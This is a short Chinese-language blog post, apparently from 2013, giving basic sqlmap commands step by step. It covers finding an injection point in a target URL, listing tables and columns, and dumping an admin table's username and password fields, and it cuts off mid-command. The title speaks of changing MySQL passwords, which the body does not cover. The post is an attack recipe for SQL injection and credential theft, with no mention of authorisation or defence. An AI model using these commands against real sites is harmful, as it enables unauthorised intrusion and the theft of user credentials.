sqlmap修改mysql密码_sqlmap基础语句

sqlmap基础语句

(2013-11-28 12:33:52)

第一步:

在 sqlmap 里面输入： -u "注入的 url"

#这一步是为了扫描目标url 看是否为注入点，格式是： -u +"要检测的url"

第二步：

输入： -u +"目标url" --tables

#可以检测出数据库的检测表名

第三步：

继续输入： -u "注入的 url" --columns -T 表名(比如：admin)

#这一步是在第二部的基础上检测字段，不要忘了选择一个表段。上面例子是admin的表段

第四步：

输入： -u "注入的 url" --dump -T 表名 -C "username,

password"(这两个是字段，不一定是这两个，到时候据情况而定)

#最后一步，这是在检测字段的内容， 上面是用 username 和password 两个字段作为例子。

注意：在扫描的时候会让你输入线程数，一般情况下输入 10 个线程就好。。

下面在延伸一下关于 sqlmap 的一些用法和语句：

1. sqlmap -u "目标url" –dump -C “字段” -T “表段”-D “数据库名称”

–start 1 –stop 20

#列出指定字段，列出 20 或者更多条，可以自己选。。

2. sqlmap -u "目标url" –dump -